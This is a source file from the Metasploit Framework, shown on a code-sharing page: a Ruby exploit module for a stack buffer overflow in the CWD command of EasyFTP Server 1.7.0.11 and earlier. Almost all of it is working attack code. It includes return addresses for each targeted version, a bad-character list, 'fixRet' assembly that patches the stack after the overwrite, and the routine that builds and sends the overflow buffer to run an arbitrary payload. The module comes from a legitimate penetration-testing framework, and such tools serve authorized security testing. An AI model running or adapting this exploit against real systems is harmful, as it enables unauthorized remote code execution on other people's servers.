Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb
32945 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'EasyFTP Server CWD Command Stack Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
18
and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which
19
leads to a stack based buffer overflow. EasyFTP allows anonymous access by
20
default; valid credentials are typically unnecessary to exploit this vulnerability.
21
22
After version 1.7.0.12, this package was renamed "UplusFtp".
23
24
This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.
25
This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
26
'fixing' the return address post-exploitation. See references for more information.
27
},
28
'Author' => [
29
'Paul Makowski <my.hndl[at]gmail.com>', # original version
30
'jduck' # various fixes, remove most hardcoded addresses
31
],
32
'License' => MSF_LICENSE,
33
'References' => [
34
[ 'CVE', '2010-20121' ],
35
[ 'OSVDB', '62134' ],
36
[ 'BID', '38262' ],
37
[ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ],
38
[ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ],
39
[ 'URL', 'https://seclists.org/bugtraq/2010/Feb/202' ]
40
],
41
'Privileged' => false,
42
'Payload' => {
43
# Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 450
44
'Space' => 505 - 30 - 25,
45
'BadChars' => "\x00\x0a\x2f\x5c", # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py
46
'DisableNops' => true
47
},
48
'Platform' => 'win',
49
'Targets' => [
50
[ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
51
[ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
52
[ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x00404111 } ], # call edi - from ftpbasicsvr.exe
53
[ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
54
[ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
55
[ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
56
[ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x004043ca } ], # call edi - from ftpbasicsvr.exe
57
[ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x0040438a } ], # call edi - from ftpbasicsvr.exe
58
[ 'Windows Universal - v1.7.0.10', { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe
59
[ 'Windows Universal - v1.7.0.11', { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe
60
],
61
'DisclosureDate' => '2010-02-16',
62
'DefaultTarget' => 0,
63
'Notes' => {
64
'Reliability' => UNKNOWN_RELIABILITY,
65
'Stability' => UNKNOWN_STABILITY,
66
'SideEffects' => UNKNOWN_SIDE_EFFECTS
67
}
68
)
69
)
70
end
71
72
def check
73
connect
74
disconnect
75
76
if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes
77
return Exploit::CheckCode::Detected
78
end
79
80
return Exploit::CheckCode::Safe
81
end
82
83
def exploit
84
connect_login
85
86
# If the payload's length is larger than 233 bytes then the payload must be bisected with the return address and later patched.
87
# Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/
88
89
# NOTE:
90
# This exploit jumps to edi, which happens to point at a partial version of
91
# the 'buf' string in memory. The fixRet below fixes up the code stored on the
92
# stack and then jumps there to execute the payload. The value in esp is used
93
# with an offset for the fixup.
94
fixRet_asm = %q{
95
mov ecx, 0xdeadbeef
96
mov edi, esp
97
sub edi, 0xfffffe14
98
mov [edi], ecx
99
add edi, 0xffffff14
100
jmp edi
101
}
102
fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string
103
104
buf = ''
105
106
print_status("Prepending fixRet...")
107
buf << fixRet
108
buf << make_nops(0x20 - buf.length)
109
# buf << "C" * (0x20 - buf.length)
110
111
print_status("Adding the payload...")
112
buf << payload.encoded
113
114
# Backup the original return address bytes
115
buf[1, 4] = buf[268, 4]
116
117
print_status("Overwriting part of the payload with target address...")
118
buf[268, 4] = [target.ret].pack('V') # put return address @ 268 bytes
119
120
# NOTE: SEH head at offset 256 also gets smashed. That is, it becomes what is at fs:[0] ..
121
122
print_status("Sending exploit buffer...")
123
send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string
124
125
handler
126
disconnect
127
end
128
end
129
130